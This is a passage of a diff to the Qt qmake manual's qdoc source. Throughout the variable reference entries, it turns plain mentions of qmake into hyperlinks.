         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 24
     
    -    When linking a library, \c qmake relies on the underlying platform to know
    +    When linking a library, \l {qmake}{ \c qmake} relies on the underlying platform to know
         what other libraries this library links against. However, if linking
    -    statically, \c qmake will not get this information unless we use the following
    +    statically, \l {qmake}{ \c qmake} will not get this information unless we use the following
         \c CONFIG options:
     
          \table 95%
          \header \o Option   \o Description
    -     \row    \o create_prl  \o This option enables \c qmake to track these
    -        dependencies. When this option is enabled, \c qmake will create a file
    +     \row    \o create_prl  \o This option enables \l {qmake}{ \c qmake} to track these
    +        dependencies. When this option is enabled, \l {qmake}{ \c qmake} will create a file
             ending in \c .prl which will save meta-information about the library
             (see \l{LibDepend}{Library Dependencies} for more info).
    -     \row    \o link_prl    \o When this is enabled, \c qmake will process all
    +     \row    \o link_prl    \o When this is enabled, \l {qmake}{ \c qmake} will process all
             libraries linked to by the application and find their meta-information
             (see \l{LibDepend}{Library Dependencies} for more info).
          \endtable
    @@ -1323,7 +1323,7 @@
         \target DEFINES
         \section1 DEFINES
     
    -    \c qmake adds the values of this variable as compiler C
    +    \l {qmake}{ \c qmake} adds the values of this variable as compiler C
         preprocessor macros (-D option).
     
         For example:
    @@ -1554,9 +1554,9 @@
         \target DESTDIR_TARGET
         \section1 DESTDIR_TARGET
     
    -    This variable is set internally by \c qmake, which is basically the
    +    This variable is set internally by \l {qmake}{ \c qmake}, which is basically the
         \c DESTDIR variable with the \c TARGET variable appened at the end.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target DLLDESTDIR
    @@ -1577,9 +1577,9 @@
         \target DSP_TEMPLATE
         \section1 DSP_TEMPLATE
     
    -    This variable is set internally by \c qmake, which specifies where the
    +    This variable is set internally by \l {qmake}{ \c qmake}, which specifies where the
         dsp template file for basing generated dsp files is stored. The value
    -    of this variable is typically handled by \c qmake or
    +    of this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target FORMS
    @@ -1625,9 +1625,9 @@
     
         Defines the header files for the project.
     
    -    \c qmake will generate dependency information (unless \c -nodepend
    +    \l {qmake}{ \c qmake} will generate dependency information (unless \c -nodepend
         is specified on the \l{Running qmake#Commands}{command line})
    -    for the specified headers. \c qmake will also automatically detect if
    +    for the specified headers. \l {qmake}{ \c qmake} will also automatically detect if
         \c moc is required by the classes in these headers, and add the
         appropriate dependencies and files to the project for generating and
         linking the moc files.
    @@ -1678,14 +1678,14 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 36
     
    -    Note that \c qmake will skip files that are executable. If you need to install
    +    Note that \l {qmake}{ \c qmake} will skip files that are executable. If you need to install
         executable files, you can unset the files' executable flags.
     
         \target LEXIMPLS
         \section1 LEXIMPLS
     
         This variable contains a list of lex implementation files.  The value
    -    of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
    +    of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely
         needs to be modified.
     
         \target LEXOBJECTS
    @@ -1693,7 +1693,7 @@
     
         This variable contains the names of intermediate lex object
         files.The value of this variable is typically handled by
    -    \c qmake and rarely needs to be modified.
    +    \l {qmake}{ \c qmake} and rarely needs to be modified.
     
         \target LEXSOURCES
         \section1 LEXSOURCES
    @@ -1768,9 +1768,9 @@
         \section1 MAKEFILE
     
         This variable specifies the name of the Makefile which
    -    \c qmake should use when outputting the dependency information
    +    \l {qmake}{ \c qmake} should use when outputting the dependency information
         for building a project.  The value of this variable is typically
    -    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
    +    handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \bold{Note:} On the Symbian platform, this variable is ignored.
     
    @@ -1779,7 +1779,7 @@
     
         This variable contains the name of the Makefile generator to use
         when generating a Makefile.  The value of this variable is typically
    -    handled internally by \c qmake and rarely needs to be modified.
    +    handled internally by \l {qmake}{ \c qmake} and rarely needs to be modified.
     
         \target MMP_RULES
         \section1 MMP_RULES
    @@ -1835,7 +1835,7 @@
         This variable is generated from the \link #SOURCES SOURCES
         \endlink variable.  The extension of each source file will have been
         replaced by .o (Unix) or .obj (Win32).  The value of this variable is
    -    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
    +    typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
         rarely needs to be modified.
     
         \target OBJECTS_DIR
    @@ -1851,10 +1851,10 @@
         \target OBJMOC
         \section1 OBJMOC
     
    -    This variable is set by \c qmake if files can be found that
    +    This variable is set by \l {qmake}{ \c qmake} if files can be found that
         contain the Q_OBJECT macro.  \c OBJMOC contains the
         name of all intermediate moc object files. The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target POST_TARGETDEPS
    @@ -1894,38 +1894,38 @@
     
         This variable contains a list of header files that require some
         sort of pre-compilation step (such as with moc). The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target PWD
         \section1 PWD
     
         This variable contains the full path leading to the directory where
    -    the \c qmake project file (project.pro) is located.
    +    the \l {qmake}{ \c qmake} project file (project.pro) is located.
     
         \target OUT_PWD
         \section1 OUT_PWD
     
         This variable contains the full path leading to the directory where
    -    \c qmake places the generated Makefile.
    +    \l {qmake}{ \c qmake} places the generated Makefile.
     
         \target QMAKE_systemvariable
         \section1 QMAKE
     
    -    This variable contains the name of the \c qmake program
    +    This variable contains the name of the \l {qmake}{ \c qmake} program
         itself and is placed in generated Makefiles.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target QMAKESPEC_systemvariable
         \section1 QMAKESPEC
     
    -    This variable contains the name of the \c qmake
    +    This variable contains the name of the \l {qmake}{ \c qmake}
         configuration to use when generating Makefiles.  The value of this
    -    variable is typically handled by \c qmake and rarely needs to be modified.
    +    variable is typically handled by \l {qmake}{ \c qmake} and rarely needs to be modified.
     
    -    Use the \c{QMAKESPEC} environment variable to override the \c qmake configuration.
    -    Note that, due to the way \c qmake reads project files, setting the \c{QMAKESPEC}
    +    Use the \c{QMAKESPEC} environment variable to override the \l {qmake}{ \c qmake} configuration.
    +    Note that, due to the way \l {qmake}{ \c qmake} reads project files, setting the \c{QMAKESPEC}
         environment variable from within a project file will have no effect.
     
         \target QMAKE_APP_FLAG
    @@ -1933,7 +1933,7 @@
     
         This variable is empty unless the \c app
         \l{#TEMPLATE}{TEMPLATE} is specified.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.  Use the following instead:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 42
    @@ -1943,7 +1943,7 @@
     
         This variable is empty unless the \c app or \c dll
         \l{#TEMPLATE}{TEMPLATE} is specified.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target QMAKE_AR_CMD
    @@ -1953,7 +1953,7 @@
     
         This variable contains the command for invoking the program which
         creates, modifies and extracts archives. The value of this variable is
    -    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.
     
         \target QMAKE_BUNDLE_DATA
    @@ -2003,7 +2003,7 @@
         \section1 QMAKE_CFLAGS_DEBUG
     
         This variable contains the flags for the C compiler in debug mode.The value of this variable is
    -    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.
     
         \target QMAKE_CFLAGS_MT
    @@ -2012,7 +2012,7 @@
         This variable contains the compiler flags for creating a
         multi-threaded application or when the version of Qt that you link
         against is a multi-threaded statically linked library.  The value of
    -    this variable is typically handled by \c qmake or
    +    this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_CFLAGS_MT_DBG
    @@ -2021,7 +2021,7 @@
         This variable contains the compiler flags for creating a debuggable
         multi-threaded application or when the version of Qt that you link
         against is a debuggable multi-threaded statically linked library.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_CFLAGS_MT_DLL
    @@ -2032,7 +2032,7 @@
         This variable contains the compiler flags for creating a
         multi-threaded dll or when the version of Qt that you link
         against is a multi-threaded dll.  The value of this variable is typically
    -    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
    +    handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
         rarely needs to be modified.
     
         \target QMAKE_CFLAGS_MT_DLLDBG
    @@ -2043,7 +2043,7 @@
         This variable contains the compiler flags for creating a debuggable
         multi-threaded dll or when the version of Qt that you link
         against is a debuggable multi-threaded statically linked library.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_CFLAGS_RELEASE
    @@ -2051,7 +2051,7 @@
     
         This variable contains the compiler flags for creating a non-debuggable
         application.  The value of this variable is typically
    -    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
    +    handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
         rarely needs to be modified.
     
         \target QMAKE_CFLAGS_SHLIB
    @@ -2061,7 +2061,7 @@
     
         This variable contains the compiler flags for creating a shared
         library. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CFLAGS_THREAD
    @@ -2069,7 +2069,7 @@
     
         This variable contains the compiler flags for creating a multi-threaded
         application. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CFLAGS_WARN_OFF
    @@ -2077,7 +2077,7 @@
     
         This variable is not empty if the warn_off
         \l{#CONFIG}{CONFIG} option is specified.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.
     
         \target QMAKE_CFLAGS_WARN_ON
    @@ -2086,7 +2086,7 @@
         This variable is not empty if the warn_on
         \l{#CONFIG}{CONFIG} option is specified.
         The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CLEAN
    @@ -2105,7 +2105,7 @@
         \section1 QMAKE_CXXFLAGS
     
         This variable contains the C++ compiler flags that are used when building
    -    a project. The value of this variable is typically handled by \c qmake or
    +    a project. The value of this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. The flags
         specific to debug and release modes can be adjusted by modifying
         the \c QMAKE_CXXFLAGS_DEBUG and \c QMAKE_CXXFLAGS_RELEASE variables,
    @@ -2125,7 +2125,7 @@
     
         This variable contains the C++ compiler flags for creating a debuggable
         application. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_MT
    @@ -2133,7 +2133,7 @@
     
         This variable contains the C++ compiler flags for creating a multi-threaded
         application. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_MT_DBG
    @@ -2141,7 +2141,7 @@
     
         This variable contains the C++ compiler flags for creating a debuggable multi-threaded
         application. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_MT_DLL
    @@ -2151,7 +2151,7 @@
     
         This variable contains the C++ compiler flags for creating a multi-threaded
         dll. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_MT_DLLDBG
    @@ -2161,7 +2161,7 @@
     
         This variable contains the C++ compiler flags for creating a multi-threaded debuggable
         dll. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_RELEASE
    @@ -2169,7 +2169,7 @@
     
         This variable contains the C++ compiler flags for creating an
         application. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_SHLIB
    @@ -2177,7 +2177,7 @@
     
         This variable contains the C++ compiler flags for creating a
         shared library.  The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_THREAD
    @@ -2185,21 +2185,21 @@
     
         This variable contains the C++ compiler flags for creating a
         multi-threaded application.  The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_WARN_OFF
         \section1 QMAKE_CXXFLAGS_WARN_OFF
     
         This variable contains the C++ compiler flags for suppressing compiler warnings.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_CXXFLAGS_WARN_ON
         \section1 QMAKE_CXXFLAGS_WARN_ON
     
         This variable contains C++ compiler flags for generating compiler warnings.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_DISTCLEAN
    @@ -2211,7 +2211,7 @@
         \section1 QMAKE_EXTENSION_SHLIB
     
         This variable contains the extention for shared libraries.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.
     
         Note that platform-specific variables that change the extension will override
    @@ -2285,15 +2285,15 @@
         \section1 QMAKE_FAILED_REQUIREMENTS
     
         This variable contains the list of requirements that were failed to be met when
    -    \c qmake was used.  For example, the sql module is needed and wasn't compiled into Qt.  The
    -    value of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    \l {qmake}{ \c qmake}was used.  For example, the sql module is needed and wasn't compiled into Qt.  The
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.
     
         \target QMAKE_FILETAGS
         \section1 QMAKE_FILETAGS
     
         This variable contains the file tags needed to be entered into the Makefile, such as SOURCES
    -    and HEADERS.  The value of this variable is typically handled by \c qmake or
    +    and HEADERS.  The value of this variable is typically handled by \l {qmake}{ \c qmake}or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_FRAMEWORK_BUNDLE_NAME
    @@ -2329,7 +2329,7 @@
     
         This variable contains the location of all known header files to be added to
         INCLUDEPATH when building an application.  The value of this variable is
    -    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
    +    typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely
         needs to be modified.
     
         \target QMAKE_INCDIR_EGL
    @@ -2338,14 +2338,14 @@
         This variable contains the location of EGL header files to be added
         to INCLUDEPATH when building an application with OpenGL/ES or
         OpenVG support. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_INCDIR_OPENGL
         \section1 QMAKE_INCDIR_OPENGL
     
         This variable contains the location of OpenGL header files to be added
         to INCLUDEPATH when building an application with OpenGL support. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenGL implementation uses EGL (most OpenGL/ES systems),
    @@ -2357,7 +2357,7 @@
         to INCLUDEPATH when building an application with OpenGL ES 1
         or OpenGL ES 2 support respectively.
     
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenGL implementation uses EGL (most OpenGL/ES systems),
    @@ -2368,7 +2368,7 @@
     
         This variable contains the location of OpenVG header files to be added
         to INCLUDEPATH when building an application with OpenVG support. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenVG implementation uses EGL then QMAKE_INCDIR_EGL may also
    @@ -2379,7 +2379,7 @@
     
         This variable contains the location of all known header file
         paths to be added to INCLUDEPATH when building a Qt application. The value
    -    of this variable is typically handled by \c qmake or
    +    of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_INCDIR_THREAD
    @@ -2387,7 +2387,7 @@
     
         This variable contains the location of all known header file
         paths to be added to INCLUDEPATH when building a multi-threaded application.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_INCDIR_X11
    @@ -2397,7 +2397,7 @@
     
         This variable contains the location of X11 header file paths to be
         added to INCLUDEPATH when building a X11 application.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_INFO_PLIST
    @@ -2428,7 +2428,7 @@
     
         This variable contains link flags when building console
         programs.  The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_CONSOLE_DLL
    @@ -2437,19 +2437,19 @@
     
         This variable contains link flags when building console
         dlls.  The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_DEBUG
     
         This variable contains link flags when building debuggable applications.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_PLUGIN
     
         This variable contains link flags when building plugins. The value
    -    of this variable is typically handled by \c qmake or
    +    of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_RPATH
    @@ -2463,25 +2463,25 @@
     
         This variable contains link flags when building programs that
         use the Qt library built as a dll. The value of this variable is
    -    typically handled by \c qmake or
    +    typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_RELEASE
     
         This variable contains link flags when building applications for
         release. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_SHAPP
     
         This variable contains link flags when building applications which are using
         the \c app template.  The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_SHLIB
     
         This variable contains link flags when building shared libraries
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_SONAME
    @@ -2493,7 +2493,7 @@
         \section1 QMAKE_LFLAGS_THREAD
     
         This variable contains link flags when building multi-threaded projects.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_WINDOWS
    @@ -2502,7 +2502,7 @@
     
         This variable contains link flags when building Windows GUI projects
         (i.e. non-console applications).
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_WINDOWS_DLL
    @@ -2510,14 +2510,14 @@
         \e {This is used on Windows only.}
     
         This variable contains link flags when building Windows DLL projects.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBDIR
     
         This variable contains the location of all known library
         directories.The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBDIR_FLAGS
    @@ -2526,21 +2526,21 @@
     
         This variable contains the location of all library
         directory with -L prefixed.  The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBDIR_EGL
     
         This variable contains the location of the EGL library
         directory, when EGL is used with OpenGL/ES or OpenVG. The value
    -    of this variable is typically handled by \c qmake or
    +    of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBDIR_OPENGL
     
         This variable contains the location of the OpenGL library
         directory.The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenGL implementation uses EGL (most OpenGL/ES systems),
    @@ -2550,7 +2550,7 @@
     
         This variable contains the location of the OpenVG library
         directory. The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenVG implementation uses EGL, then QMAKE_LIBDIR_EGL
    @@ -2560,7 +2560,7 @@
     
         This variable contains the location of the Qt library
         directory.The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBDIR_X11
    @@ -2569,13 +2569,13 @@
     
         This variable contains the location of the X11 library
         directory.The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS
     
         This variable contains all project libraries.  The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_CONSOLE
    @@ -2591,13 +2591,13 @@
     
         This variable contains all EGL libraries when building Qt with
         OpenGL/ES or OpenVG.  The value of this variable is typically
    -    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
    +    handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely
         needs to be modified.  The usual value is \c{-lEGL}.
     
         \section1 QMAKE_LIBS_OPENGL
     
         This variable contains all OpenGL libraries.  The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenGL implementation uses EGL (most OpenGL/ES systems),
    @@ -2606,7 +2606,7 @@
         \section1 QMAKE_LIBS_OPENGL_QT
     
         This variable contains all OpenGL Qt libraries.The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_OPENGL_ES1, QMAKE_LIBS_OPENGL_ES2
    @@ -2614,7 +2614,7 @@
         These variables contain all the OpenGL libraries for OpenGL ES 1
         and OpenGL ES 2.
     
    -    The value of these variables is typically handled by \c qmake or
    +    The value of these variables is typically handled by \l {qmake}{ \c qmake}or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenGL implementation uses EGL (most OpenGL/ES systems),
    @@ -2623,7 +2623,7 @@
         \section1 QMAKE_LIBS_OPENVG
     
         This variable contains all OpenVG libraries.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.  The usual value is \c{-lOpenVG}.
     
         Some OpenVG engines are implemented on top of OpenGL.  This will
    @@ -2636,7 +2636,7 @@
         \section1 QMAKE_LIBS_QT
     
         This variable contains all Qt libraries.The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_QT_DLL
    @@ -2644,21 +2644,21 @@
         \e {This is used on Windows only.}
     
         This variable contains all Qt libraries when Qt is built as a dll.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_QT_OPENGL
     
         This variable contains all the libraries needed to link against if
         OpenGL support is turned on. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_QT_THREAD
     
         This variable contains all the libraries needed to link against if
         thread support is turned on.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_RT
    @@ -2667,7 +2667,7 @@
     
         This variable contains the runtime library needed to link against when
         building an application.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_RTMT
    @@ -2676,7 +2676,7 @@
     
         This variable contains the runtime library needed to link against when
         building a multi-threaded application.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_THREAD
    @@ -2685,7 +2685,7 @@
     
         This variable contains all libraries that need to be linked against
         when building a multi-threaded application.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_WINDOWS
    @@ -2693,7 +2693,7 @@
         \e {This is used on Windows only.}
     
